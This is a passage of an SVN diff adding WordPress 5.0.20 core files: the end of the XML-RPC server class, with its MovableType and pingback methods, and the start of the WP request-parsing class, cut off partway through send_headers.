+	 * @return true|IXR_Error True on success.
+	 */
+	public function mt_setPostCategories( $args ) {
+		$this->escape( $args );
+
+		$post_ID    = (int) $args[0];
+		$username   = $args[1];
+		$password   = $args[2];
+		$categories = $args[3];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'mt.setPostCategories' );
+
+		if ( ! get_post( $post_ID ) )
+			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
+
+		if ( !current_user_can('edit_post', $post_ID) )
+			return new IXR_Error(401, __('Sorry, you are not allowed to edit this post.'));
+
+		$catids = array();
+		foreach ( $categories as $cat ) {
+			$catids[] = $cat['categoryId'];
+		}
+
+		wp_set_post_categories($post_ID, $catids);
+
+		return true;
+	}
+
+	/**
+	 * Retrieve an array of methods supported by this server.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return array
+	 */
+	public function mt_supportedMethods() {
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'mt.supportedMethods' );
+
+		return array_keys( $this->methods );
+	}
+
+	/**
+	 * Retrieve an empty array because we don't support per-post text filters.
+	 *
+	 * @since 1.5.0
+	 */
+	public function mt_supportedTextFilters() {
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'mt.supportedTextFilters' );
+
+		/**
+		 * Filters the MoveableType text filters list for XML-RPC.
+		 *
+		 * @since 2.2.0
+		 *
+		 * @param array $filters An array of text filters.
+		 */
+		return apply_filters( 'xmlrpc_text_filters', array() );
+	}
+
+	/**
+	 * Retrieve trackbacks sent to a given post.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @param int $post_ID
+	 * @return array|IXR_Error
+	 */
+	public function mt_getTrackbackPings( $post_ID ) {
+		global $wpdb;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'mt.getTrackbackPings' );
+
+		$actual_post = get_post($post_ID, ARRAY_A);
+
+		if ( !$actual_post )
+			return new IXR_Error(404, __('Sorry, no such post.'));
+
+		$comments = $wpdb->get_results( $wpdb->prepare("SELECT comment_author_url, comment_content, comment_author_IP, comment_type FROM $wpdb->comments WHERE comment_post_ID = %d", $post_ID) );
+
+		if ( !$comments )
+			return array();
+
+		$trackback_pings = array();
+		foreach ( $comments as $comment ) {
+			if ( 'trackback' == $comment->comment_type ) {
+				$content = $comment->comment_content;
+				$title = substr($content, 8, (strpos($content, '</strong>') - 8));
+				$trackback_pings[] = array(
+					'pingTitle' => $title,
+					'pingURL'   => $comment->comment_author_url,
+					'pingIP'    => $comment->comment_author_IP
+				);
+			}
+		}
+
+		return $trackback_pings;
+	}
+
+	/**
+	 * Sets a post's publish status to 'publish'.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $post_ID
+	 *     @type string $username
+	 *     @type string $password
+	 * }
+	 * @return int|IXR_Error
+	 */
+	public function mt_publishPost( $args ) {
+		$this->escape( $args );
+
+		$post_ID  = (int) $args[0];
+		$username = $args[1];
+		$password = $args[2];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'mt.publishPost' );
+
+		$postdata = get_post($post_ID, ARRAY_A);
+		if ( ! $postdata )
+			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
+
+		if ( !current_user_can('publish_posts') || !current_user_can('edit_post', $post_ID) )
+			return new IXR_Error(401, __('Sorry, you are not allowed to publish this post.'));
+
+		$postdata['post_status'] = 'publish';
+
+		// retain old cats
+		$cats = wp_get_post_categories($post_ID);
+		$postdata['post_category'] = $cats;
+		$this->escape($postdata);
+
+		return wp_update_post( $postdata );
+	}
+
+	/* PingBack functions
+	 * specs on www.hixie.ch/specs/pingback/pingback
+	 */
+
+	/**
+	 * Retrieves a pingback and registers it.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type string $pagelinkedfrom
+	 *     @type string $pagelinkedto
+	 * }
+	 * @return string|IXR_Error
+	 */
+	public function pingback_ping( $args ) {
+		global $wpdb;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'pingback.ping' );
+
+		$this->escape( $args );
+
+		$pagelinkedfrom = str_replace( '&amp;', '&', $args[0] );
+		$pagelinkedto = str_replace( '&amp;', '&', $args[1] );
+		$pagelinkedto = str_replace( '&', '&amp;', $pagelinkedto );
+
+		/**
+		 * Filters the pingback source URI.
+		 *
+		 * @since 3.6.0
+		 *
+		 * @param string $pagelinkedfrom URI of the page linked from.
+		 * @param string $pagelinkedto   URI of the page linked to.
+		 */
+		$pagelinkedfrom = apply_filters( 'pingback_ping_source_uri', $pagelinkedfrom, $pagelinkedto );
+
+		if ( ! $pagelinkedfrom )
+			return $this->pingback_error( 0, __( 'A valid URL was not provided.' ) );
+
+		// Check if the page linked to is in our site
+		$pos1 = strpos($pagelinkedto, str_replace(array('http://www.','http://','https://www.','https://'), '', get_option('home')));
+		if ( !$pos1 )
+			return $this->pingback_error( 0, __( 'Is there no link to us?' ) );
+
+		// let's find which post is linked to
+		// FIXME: does url_to_postid() cover all these cases already?
+		//        if so, then let's use it and drop the old code.
+		$urltest = parse_url($pagelinkedto);
+		if ( $post_ID = url_to_postid($pagelinkedto) ) {
+			// $way
+		} elseif ( isset( $urltest['path'] ) && preg_match('#p/[0-9]{1,}#', $urltest['path'], $match) ) {
+			// the path defines the post_ID (archives/p/XXXX)
+			$blah = explode('/', $match[0]);
+			$post_ID = (int) $blah[1];
+		} elseif ( isset( $urltest['query'] ) && preg_match('#p=[0-9]{1,}#', $urltest['query'], $match) ) {
+			// the querystring defines the post_ID (?p=XXXX)
+			$blah = explode('=', $match[0]);
+			$post_ID = (int) $blah[1];
+		} elseif ( isset($urltest['fragment']) ) {
+			// an #anchor is there, it's either...
+			if ( intval($urltest['fragment']) ) {
+				// ...an integer #XXXX (simplest case)
+				$post_ID = (int) $urltest['fragment'];
+			} elseif ( preg_match('/post-[0-9]+/',$urltest['fragment']) ) {
+				// ...a post id in the form 'post-###'
+				$post_ID = preg_replace('/[^0-9]+/', '', $urltest['fragment']);
+			} elseif ( is_string($urltest['fragment']) ) {
+				// ...or a string #title, a little more complicated
+				$title = preg_replace('/[^a-z0-9]/i', '.', $urltest['fragment']);
+				$sql = $wpdb->prepare("SELECT ID FROM $wpdb->posts WHERE post_title RLIKE %s", $title );
+				if (! ($post_ID = $wpdb->get_var($sql)) ) {
+					// returning unknown error '0' is better than die()ing
+			  		return $this->pingback_error( 0, '' );
+				}
+			}
+		} else {
+			// TODO: Attempt to extract a post ID from the given URL
+	  		return $this->pingback_error( 33, __('The specified target URL cannot be used as a target. It either doesn&#8217;t exist, or it is not a pingback-enabled resource.' ) );
+		}
+		$post_ID = (int) $post_ID;
+
+		$post = get_post($post_ID);
+
+		if ( !$post ) // Post_ID not found
+	  		return $this->pingback_error( 33, __( 'The specified target URL cannot be used as a target. It either doesn&#8217;t exist, or it is not a pingback-enabled resource.' ) );
+
+		if ( $post_ID == url_to_postid($pagelinkedfrom) )
+			return $this->pingback_error( 0, __( 'The source URL and the target URL cannot both point to the same resource.' ) );
+
+		// Check if pings are on
+		if ( !pings_open($post) )
+	  		return $this->pingback_error( 33, __( 'The specified target URL cannot be used as a target. It either doesn&#8217;t exist, or it is not a pingback-enabled resource.' ) );
+
+		// Let's check that the remote site didn't already pingback this entry
+		if ( $wpdb->get_results( $wpdb->prepare("SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_author_url = %s", $post_ID, $pagelinkedfrom) ) )
+			return $this->pingback_error( 48, __( 'The pingback has already been registered.' ) );
+
+		// very stupid, but gives time to the 'from' server to publish !
+		sleep(1);
+
+		$remote_ip = preg_replace( '/[^0-9a-fA-F:., ]/', '', $_SERVER['REMOTE_ADDR'] );
+
+		/** This filter is documented in wp-includes/class-http.php */
+		$user_agent = apply_filters( 'http_headers_useragent', 'WordPress/' . get_bloginfo( 'version' ) . '; ' . get_bloginfo( 'url' ) );
+
+		// Let's check the remote site
+		$http_api_args = array(
+			'timeout' => 10,
+			'redirection' => 0,
+			'limit_response_size' => 153600, // 150 KB
+			'user-agent' => "$user_agent; verifying pingback from $remote_ip",
+			'headers' => array(
+				'X-Pingback-Forwarded-For' => $remote_ip,
+			),
+		);
+
+		$request = wp_safe_remote_get( $pagelinkedfrom, $http_api_args );
+		$remote_source = $remote_source_original = wp_remote_retrieve_body( $request );
+
+		if ( ! $remote_source ) {
+			return $this->pingback_error( 16, __( 'The source URL does not exist.' ) );
+		}
+
+		/**
+		 * Filters the pingback remote source.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @param string $remote_source Response source for the page linked from.
+		 * @param string $pagelinkedto  URL of the page linked to.
+		 */
+		$remote_source = apply_filters( 'pre_remote_source', $remote_source, $pagelinkedto );
+
+		// Work around bug in strip_tags():
+		$remote_source = str_replace( '<!DOC', '<DOC', $remote_source );
+		$remote_source = preg_replace( '/[\r\n\t ]+/', ' ', $remote_source ); // normalize spaces
+		$remote_source = preg_replace( "/<\/*(h1|h2|h3|h4|h5|h6|p|th|td|li|dt|dd|pre|caption|input|textarea|button|body)[^>]*>/", "\n\n", $remote_source );
+
+		preg_match( '|<title>([^<]*?)</title>|is', $remote_source, $matchtitle );
+		$title = isset( $matchtitle[1] ) ? $matchtitle[1] : '';
+		if ( empty( $title ) ) {
+			return $this->pingback_error( 32, __( 'We cannot find a title on that page.' ) );
+		}
+
+		$remote_source = strip_tags( $remote_source, '<a>' ); // just keep the tag we need
+
+		$p = explode( "\n\n", $remote_source );
+
+		$preg_target = preg_quote($pagelinkedto, '|');
+
+		foreach ( $p as $para ) {
+			if ( strpos($para, $pagelinkedto) !== false ) { // it exists, but is it a link?
+				preg_match("|<a[^>]+?".$preg_target."[^>]*>([^>]+?)</a>|", $para, $context);
+
+				// If the URL isn't in a link context, keep looking
+				if ( empty($context) )
+					continue;
+
+				// We're going to use this fake tag to mark the context in a bit
+				// the marker is needed in case the link text appears more than once in the paragraph
+				$excerpt = preg_replace('|\</?wpcontext\>|', '', $para);
+
+				// prevent really long link text
+				if ( strlen($context[1]) > 100 )
+					$context[1] = substr($context[1], 0, 100) . '&#8230;';
+
+				$marker = '<wpcontext>'.$context[1].'</wpcontext>';    // set up our marker
+				$excerpt= str_replace($context[0], $marker, $excerpt); // swap out the link for our marker
+				$excerpt = strip_tags($excerpt, '<wpcontext>');        // strip all tags but our context marker
+				$excerpt = trim($excerpt);
+				$preg_marker = preg_quote($marker, '|');
+				$excerpt = preg_replace("|.*?\s(.{0,100}$preg_marker.{0,100})\s.*|s", '$1', $excerpt);
+				$excerpt = strip_tags($excerpt); // YES, again, to remove the marker wrapper
+				break;
+			}
+		}
+
+		if ( empty($context) ) // Link to target not found
+			return $this->pingback_error( 17, __( 'The source URL does not contain a link to the target URL, and so cannot be used as a source.' ) );
+
+		$pagelinkedfrom = str_replace('&', '&amp;', $pagelinkedfrom);
+
+		$context = '[&#8230;] ' . esc_html( $excerpt ) . ' [&#8230;]';
+		$pagelinkedfrom = $this->escape( $pagelinkedfrom );
+
+		$comment_post_ID = (int) $post_ID;
+		$comment_author = $title;
+		$comment_author_email = '';
+		$this->escape($comment_author);
+		$comment_author_url = $pagelinkedfrom;
+		$comment_content = $context;
+		$this->escape($comment_content);
+		$comment_type = 'pingback';
+
+		$commentdata = compact(
+			'comment_post_ID', 'comment_author', 'comment_author_url', 'comment_author_email',
+			'comment_content', 'comment_type', 'remote_source', 'remote_source_original'
+		);
+
+		$comment_ID = wp_new_comment($commentdata);
+
+		if ( is_wp_error( $comment_ID ) ) {
+			return $this->pingback_error( 0, $comment_ID->get_error_message() );
+		}
+
+		/**
+		 * Fires after a post pingback has been sent.
+		 *
+		 * @since 0.71
+		 *
+		 * @param int $comment_ID Comment ID.
+		 */
+		do_action( 'pingback_post', $comment_ID );
+
+		/* translators: 1: URL of the page linked from, 2: URL of the page linked to */
+		return sprintf( __( 'Pingback from %1$s to %2$s registered. Keep the web talking! :-)' ), $pagelinkedfrom, $pagelinkedto );
+	}
+
+	/**
+	 * Retrieve array of URLs that pingbacked the given URL.
+	 *
+	 * Specs on http://www.aquarionics.com/misc/archives/blogite/0198.html
+	 *
+	 * @since 1.5.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @param string $url
+	 * @return array|IXR_Error
+	 */
+	public function pingback_extensions_getPingbacks( $url ) {
+		global $wpdb;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'pingback.extensions.getPingbacks' );
+
+		$url = $this->escape( $url );
+
+		$post_ID = url_to_postid($url);
+		if ( !$post_ID ) {
+			// We aren't sure that the resource is available and/or pingback enabled
+	  		return $this->pingback_error( 33, __( 'The specified target URL cannot be used as a target. It either doesn&#8217;t exist, or it is not a pingback-enabled resource.' ) );
+		}
+
+		$actual_post = get_post($post_ID, ARRAY_A);
+
+		if ( !$actual_post ) {
+			// No such post = resource not found
+	  		return $this->pingback_error( 32, __('The specified target URL does not exist.' ) );
+		}
+
+		$comments = $wpdb->get_results( $wpdb->prepare("SELECT comment_author_url, comment_content, comment_author_IP, comment_type FROM $wpdb->comments WHERE comment_post_ID = %d", $post_ID) );
+
+		if ( !$comments )
+			return array();
+
+		$pingbacks = array();
+		foreach ( $comments as $comment ) {
+			if ( 'pingback' == $comment->comment_type )
+				$pingbacks[] = $comment->comment_author_url;
+		}
+
+		return $pingbacks;
+	}
+
+	/**
+	 * Sends a pingback error based on the given error code and message.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param int    $code    Error code.
+	 * @param string $message Error message.
+	 * @return IXR_Error Error object.
+	 */
+	protected function pingback_error( $code, $message ) {
+		/**
+		 * Filters the XML-RPC pingback error return.
+		 *
+		 * @since 3.5.1
+		 *
+		 * @param IXR_Error $error An IXR_Error object containing the error code and message.
+		 */
+		return apply_filters( 'xmlrpc_pingback_error', new IXR_Error( $code, $message ) );
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp.php	(revision 56912)
@@ -0,0 +1,730 @@
+<?php
+/**
+ * WordPress environment setup class.
+ *
+ * @package WordPress
+ * @since 2.0.0
+ */
+class WP {
+	/**
+	 * Public query variables.
+	 *
+	 * Long list of public query variables.
+	 *
+	 * @since 2.0.0
+	 * @var array
+	 */
+	public $public_query_vars = array( 'm', 'p', 'posts', 'w', 'cat', 'withcomments', 'withoutcomments', 's', 'search', 'exact', 'sentence', 'calendar', 'page', 'paged', 'more', 'tb', 'pb', 'author', 'order', 'orderby', 'year', 'monthnum', 'day', 'hour', 'minute', 'second', 'name', 'category_name', 'tag', 'feed', 'author_name', 'pagename', 'page_id', 'error', 'attachment', 'attachment_id', 'subpost', 'subpost_id', 'preview', 'robots', 'taxonomy', 'term', 'cpage', 'post_type', 'embed' );
+
+	/**
+	 * Private query variables.
+	 *
+	 * Long list of private query variables.
+	 *
+	 * @since 2.0.0
+	 * @var array
+	 */
+	public $private_query_vars = array( 'offset', 'posts_per_page', 'posts_per_archive_page', 'showposts', 'nopaging', 'post_type', 'post_status', 'category__in', 'category__not_in', 'category__and', 'tag__in', 'tag__not_in', 'tag__and', 'tag_slug__in', 'tag_slug__and', 'tag_id', 'post_mime_type', 'perm', 'comments_per_page', 'post__in', 'post__not_in', 'post_parent', 'post_parent__in', 'post_parent__not_in', 'title', 'fields' );
+
+	/**
+	 * Extra query variables set by the user.
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 */
+	public $extra_query_vars = array();
+
+	/**
+	 * Query variables for setting up the WordPress Query Loop.
+	 *
+	 * @since 2.0.0
+	 * @var array
+	 */
+	public $query_vars;
+
+	/**
+	 * String parsed to set the query variables.
+	 *
+	 * @since 2.0.0
+	 * @var string
+	 */
+	public $query_string;
+
+	/**
+	 * The request path, e.g. 2015/05/06.
+	 *
+	 * @since 2.0.0
+	 * @var string
+	 */
+	public $request;
+
+	/**
+	 * Rewrite rule the request matched.
+	 *
+	 * @since 2.0.0
+	 * @var string
+	 */
+	public $matched_rule;
+
+	/**
+	 * Rewrite query the request matched.
+	 *
+	 * @since 2.0.0
+	 * @var string
+	 */
+	public $matched_query;
+
+	/**
+	 * Whether already did the permalink.
+	 *
+	 * @since 2.0.0
+	 * @var bool
+	 */
+	public $did_permalink = false;
+
+	/**
+	 * Add name to list of public query variables.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $qv Query variable name.
+	 */
+	public function add_query_var($qv) {
+		if ( !in_array($qv, $this->public_query_vars) )
+			$this->public_query_vars[] = $qv;
+	}
+
+	/**
+	 * Removes a query variable from a list of public query variables.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param string $name Query variable name.
+	 */
+	public function remove_query_var( $name ) {
+		$this->public_query_vars = array_diff( $this->public_query_vars, array( $name ) );
+	}
+
+	/**
+	 * Set the value of a query variable.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $key Query variable name.
+	 * @param mixed $value Query variable value.
+	 */
+	public function set_query_var($key, $value) {
+		$this->query_vars[$key] = $value;
+	}
+
+	/**
+	 * Parse request to find correct WordPress query.
+	 *
+	 * Sets up the query variables based on the request. There are also many
+	 * filters and actions that can be used to further manipulate the result.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @global WP_Rewrite $wp_rewrite
+	 *
+	 * @param array|string $extra_query_vars Set the extra query variables.
+	 */
+	public function parse_request($extra_query_vars = '') {
+		global $wp_rewrite;
+
+		/**
+		 * Filters whether to parse the request.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param bool         $bool             Whether or not to parse the request. Default true.
+		 * @param WP           $this             Current WordPress environment instance.
+		 * @param array|string $extra_query_vars Extra passed query variables.
+		 */
+		if ( ! apply_filters( 'do_parse_request', true, $this, $extra_query_vars ) )
+			return;
+
+		$this->query_vars = array();
+		$post_type_query_vars = array();
+
+		if ( is_array( $extra_query_vars ) ) {
+			$this->extra_query_vars = & $extra_query_vars;
+		} elseif ( ! empty( $extra_query_vars ) ) {
+			parse_str( $extra_query_vars, $this->extra_query_vars );
+		}
+		// Process PATH_INFO, REQUEST_URI, and 404 for permalinks.
+
+		// Fetch the rewrite rules.
+		$rewrite = $wp_rewrite->wp_rewrite_rules();
+
+		if ( ! empty($rewrite) ) {
+			// If we match a rewrite rule, this will be cleared.
+			$error = '404';
+			$this->did_permalink = true;
+
+			$pathinfo = isset( $_SERVER['PATH_INFO'] ) ? $_SERVER['PATH_INFO'] : '';
+			list( $pathinfo ) = explode( '?', $pathinfo );
+			$pathinfo = str_replace( "%", "%25", $pathinfo );
+
+			list( $req_uri ) = explode( '?', $_SERVER['REQUEST_URI'] );
+			$self = $_SERVER['PHP_SELF'];
+			$home_path = trim( parse_url( home_url(), PHP_URL_PATH ), '/' );
+			$home_path_regex = sprintf( '|^%s|i', preg_quote( $home_path, '|' ) );
+
+			// Trim path info from the end and the leading home path from the
+			// front. For path info requests, this leaves us with the requesting
+			// filename, if any. For 404 requests, this leaves us with the
+			// requested permalink.
+			$req_uri = str_replace($pathinfo, '', $req_uri);
+			$req_uri = trim($req_uri, '/');
+			$req_uri = preg_replace( $home_path_regex, '', $req_uri );
+			$req_uri = trim($req_uri, '/');
+			$pathinfo = trim($pathinfo, '/');
+			$pathinfo = preg_replace( $home_path_regex, '', $pathinfo );
+			$pathinfo = trim($pathinfo, '/');
+			$self = trim($self, '/');
+			$self = preg_replace( $home_path_regex, '', $self );
+			$self = trim($self, '/');
+
+			// The requested permalink is in $pathinfo for path info requests and
+			//  $req_uri for other requests.
+			if ( ! empty($pathinfo) && !preg_match('|^.*' . $wp_rewrite->index . '$|', $pathinfo) ) {
+				$requested_path = $pathinfo;
+			} else {
+				// If the request uri is the index, blank it out so that we don't try to match it against a rule.
+				if ( $req_uri == $wp_rewrite->index )
+					$req_uri = '';
+				$requested_path = $req_uri;
+			}
+			$requested_file = $req_uri;
+
+			$this->request = $requested_path;
+
+			// Look for matches.
+			$request_match = $requested_path;
+			if ( empty( $request_match ) ) {
+				// An empty request could only match against ^$ regex
+				if ( isset( $rewrite['$'] ) ) {
+					$this->matched_rule = '$';
+					$query = $rewrite['$'];
+					$matches = array('');
+				}
+			} else {
+				foreach ( (array) $rewrite as $match => $query ) {
+					// If the requested file is the anchor of the match, prepend it to the path info.
+					if ( ! empty($requested_file) && strpos($match, $requested_file) === 0 && $requested_file != $requested_path )
+						$request_match = $requested_file . '/' . $requested_path;
+
+					if ( preg_match("#^$match#", $request_match, $matches) ||
+						preg_match("#^$match#", urldecode($request_match), $matches) ) {
+
+						if ( $wp_rewrite->use_verbose_page_rules && preg_match( '/pagename=\$matches\[([0-9]+)\]/', $query, $varmatch ) ) {
+							// This is a verbose page match, let's check to be sure about it.
+							$page = get_page_by_path( $matches[ $varmatch[1] ] );
+							if ( ! $page ) {
+						 		continue;
+							}
+
+							$post_status_obj = get_post_status_object( $page->post_status );
+							if ( ! $post_status_obj->public && ! $post_status_obj->protected
+								&& ! $post_status_obj->private && $post_status_obj->exclude_from_search ) {
+								continue;
+							}
+						}
+
+						// Got a match.
+						$this->matched_rule = $match;
+						break;
+					}
+				}
+			}
+
+			if ( isset( $this->matched_rule ) ) {
+				// Trim the query of everything up to the '?'.
+				$query = preg_replace("!^.+\?!", '', $query);
+
+				// Substitute the substring matches into the query.
+				$query = addslashes(WP_MatchesMapRegex::apply($query, $matches));
+
+				$this->matched_query = $query;
+
+				// Parse the query.
+				parse_str($query, $perma_query_vars);
+
+				// If we're processing a 404 request, clear the error var since we found something.
+				if ( '404' == $error )
+					unset( $error, $_GET['error'] );
+			}
+
+			// If req_uri is empty or if it is a request for ourself, unset error.
+			if ( empty($requested_path) || $requested_file == $self || strpos($_SERVER['PHP_SELF'], 'wp-admin/') !== false ) {
+				unset( $error, $_GET['error'] );
+
+				if ( isset($perma_query_vars) && strpos($_SERVER['PHP_SELF'], 'wp-admin/') !== false )
+					unset( $perma_query_vars );
+
+				$this->did_permalink = false;
+			}
+		}
+
+		/**
+		 * Filters the query variables whitelist before processing.
+		 *
+		 * Allows (publicly allowed) query vars to be added, removed, or changed prior
+		 * to executing the query. Needed to allow custom rewrite rules using your own arguments
+		 * to work, or any other custom query variables you want to be publicly available.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param array $public_query_vars The array of whitelisted query variables.
+		 */
+		$this->public_query_vars = apply_filters( 'query_vars', $this->public_query_vars );
+
+		foreach ( get_post_types( array(), 'objects' ) as $post_type => $t ) {
+			if ( is_post_type_viewable( $t ) && $t->query_var ) {
+				$post_type_query_vars[$t->query_var] = $post_type;
+			}
+		}
+
+		foreach ( $this->public_query_vars as $wpvar ) {
+			if ( isset( $this->extra_query_vars[$wpvar] ) )
+				$this->query_vars[$wpvar] = $this->extra_query_vars[$wpvar];
+			elseif ( isset( $_GET[ $wpvar ] ) && isset( $_POST[ $wpvar ] ) && $_GET[ $wpvar ] !== $_POST[ $wpvar ] )
+				wp_die( __( 'A variable mismatch has been detected.' ), __( 'Sorry, you are not allowed to view this item.' ), 400 );
+			elseif ( isset( $_POST[$wpvar] ) )
+				$this->query_vars[$wpvar] = $_POST[$wpvar];
+			elseif ( isset( $_GET[$wpvar] ) )
+				$this->query_vars[$wpvar] = $_GET[$wpvar];
+			elseif ( isset( $perma_query_vars[$wpvar] ) )
+				$this->query_vars[$wpvar] = $perma_query_vars[$wpvar];
+
+			if ( !empty( $this->query_vars[$wpvar] ) ) {
+				if ( ! is_array( $this->query_vars[$wpvar] ) ) {
+					$this->query_vars[$wpvar] = (string) $this->query_vars[$wpvar];
+				} else {
+					foreach ( $this->query_vars[$wpvar] as $vkey => $v ) {
+						if ( !is_object( $v ) ) {
+							$this->query_vars[$wpvar][$vkey] = (string) $v;
+						}
+					}
+				}
+
+				if ( isset($post_type_query_vars[$wpvar] ) ) {
+					$this->query_vars['post_type'] = $post_type_query_vars[$wpvar];
+					$this->query_vars['name'] = $this->query_vars[$wpvar];
+				}
+			}
+		}
+
+		// Convert urldecoded spaces back into +
+		foreach ( get_taxonomies( array() , 'objects' ) as $taxonomy => $t )
+			if ( $t->query_var && isset( $this->query_vars[$t->query_var] ) )
+				$this->query_vars[$t->query_var] = str_replace( ' ', '+', $this->query_vars[$t->query_var] );
+
+		// Don't allow non-publicly queryable taxonomies to be queried from the front end.
+		if ( ! is_admin() ) {
+			foreach ( get_taxonomies( array( 'publicly_queryable' => false ), 'objects' ) as $taxonomy => $t ) {
+				/*
+				 * Disallow when set to the 'taxonomy' query var.
+				 * Non-publicly queryable taxonomies cannot register custom query vars. See register_taxonomy().
+				 */
+				if ( isset( $this->query_vars['taxonomy'] ) && $taxonomy === $this->query_vars['taxonomy'] ) {
+					unset( $this->query_vars['taxonomy'], $this->query_vars['term'] );
+				}
+			}
+		}
+
+		// Limit publicly queried post_types to those that are publicly_queryable
+		if ( isset( $this->query_vars['post_type']) ) {
+			$queryable_post_types = get_post_types( array('publicly_queryable' => true) );
+			if ( ! is_array( $this->query_vars['post_type'] ) ) {
+				if ( ! in_array( $this->query_vars['post_type'], $queryable_post_types ) )
+					unset( $this->query_vars['post_type'] );
+			} else {
+				$this->query_vars['post_type'] = array_intersect( $this->query_vars['post_type'], $queryable_post_types );
+			}
+		}
+
+		// Resolve conflicts between posts with numeric slugs and date archive queries.
+		$this->query_vars = wp_resolve_numeric_slug_conflicts( $this->query_vars );
+
+		foreach ( (array) $this->private_query_vars as $var) {
+			if ( isset($this->extra_query_vars[$var]) )
+				$this->query_vars[$var] = $this->extra_query_vars[$var];
+		}
+
+		if ( isset($error) )
+			$this->query_vars['error'] = $error;
+
+		/**
+		 * Filters the array of parsed query variables.
+		 *
+		 * @since 2.1.0
+		 *
+		 * @param array $query_vars The array of requested query variables.
+		 */
+		$this->query_vars = apply_filters( 'request', $this->query_vars );
+
+		/**
+		 * Fires once all query variables for the current request have been parsed.
+		 *
+		 * @since 2.1.0
+		 *
+		 * @param WP $this Current WordPress environment instance (passed by reference).
+		 */
+		do_action_ref_array( 'parse_request', array( &$this ) );
+	}
+
+	/**
+	 * Sends additional HTTP headers for caching, content type, etc.
+	 *
+	 * Sets the Content-Type header. Sets the 'error' status (if passed) and optionally exits.
+	 * If showing a feed, it will also send Last-Modified, ETag, and 304 status if needed.
+	 *
+	 * @since 2.0.0
+	 * @since 4.4.0 `X-Pingback` header is added conditionally after posts have been queried in handle_404().
+	 */
+	public function send_headers() {
+		$headers = array();
+		$status = null;
+		$exit_required = false;
+
+		if ( is_user_logged_in() )
+			$headers = array_merge($headers, wp_get_nocache_headers());
+		if ( ! empty( $this->query_vars['error'] ) ) {
+			$status = (int) $this->query_vars['error'];
+			if ( 404 === $status ) {
+				if ( ! is_user_logged_in() )
+					$headers = array_merge($headers, wp_get_nocache_headers());
+				$headers['Content-Type'] = get_option('html_type') . '; charset=' . get_option('blog_charset');
+			} elseif ( in_array( $status, array( 403, 500, 502, 503 ) ) ) {
+				$exit_required = true;
+			}
+		} elseif ( empty( $this->query_vars['feed'] ) ) {
+			$headers['Content-Type'] = get_option('html_type') . '; charset=' . get_option('blog_charset');
+		} else {
+			// Set the correct content type for feeds
+			$type = $this->query_vars['feed'];
+			if ( 'feed' == $this->query_vars['feed'] ) {
+				$type = get_default_feed();
+			}
+			$headers['Content-Type'] = feed_content_type( $type ) . '; charset=' . get_option( 'blog_charset' );
+
+			// We're showing a feed, so WP is indeed the only thing that last changed.
+			if ( ! empty( $this->query_vars['withcomments'] )
+			     || false !== strpos( $this->query_vars['feed'], 'comments-' )
+			     || ( empty( $this->query_vars['withoutcomments'] )
+			          && ( ! empty( $this->query_vars['p'] )
+			               || ! empty( $this->query_vars['name'] )
+			               || ! empty( $this->query_vars['page_id'] )
+			               || ! empty( $this->query_vars['pagename'] )
+			               || ! empty( $this->query_vars['attachment'] )
+			               || ! empty( $this->query_vars['attachment_id'] )
+			          )
+			     )
+			) {
+				$wp_last_modified = mysql2date( 'D, d M Y H:i:s', get_lastcommentmodified( 'GMT' ), false );
+			} else {
+				$wp_last_modified = mysql2date( 'D, d M Y H:i:s', get_lastpostmodified( 'GMT' ), false );
+			}
+
+			if ( ! $wp_last_modified ) {
+				$wp_last_modified = date( 'D, d M Y H:i:s' );
+			}
+
+			$wp_last_modified .= ' GMT';
+
+			$wp_etag = '"' . md5($wp_last_modified) . '"';
+			$headers['Last-Modified'] = $wp_last_modified;
+			$headers['ETag'] = $wp_etag;
+
+			// Support for Conditional GET
+			if (isset($_SERVER['HTTP_IF_NONE_MATCH']))
+				$client_etag = wp_unslash( $_SERVER['HTTP_IF_NONE_MATCH'] );
+			else $client_etag = false;
+
+			$client_last_modified = empty($_SERVER['HTTP_IF_MODIFIED_SINCE']) ? '' : trim($_SERVER['HTTP_IF_MODIFIED_SINCE']);
+			// If string is empty, return 0. If not, attempt to parse into a timestamp
+			$client_modified_timestamp = $client_last_modified ? strtotime($client_last_modified) : 0;
+
+			// Make a timestamp for our most recent modification...
+			$wp_modified_timestamp = strtotime($wp_last_modified);
+
+			if ( ($client_last_modified && $client_etag) ?
+					 (($client_modified_timestamp >= $wp_modified_timestamp) && ($client_etag == $wp_etag)) :
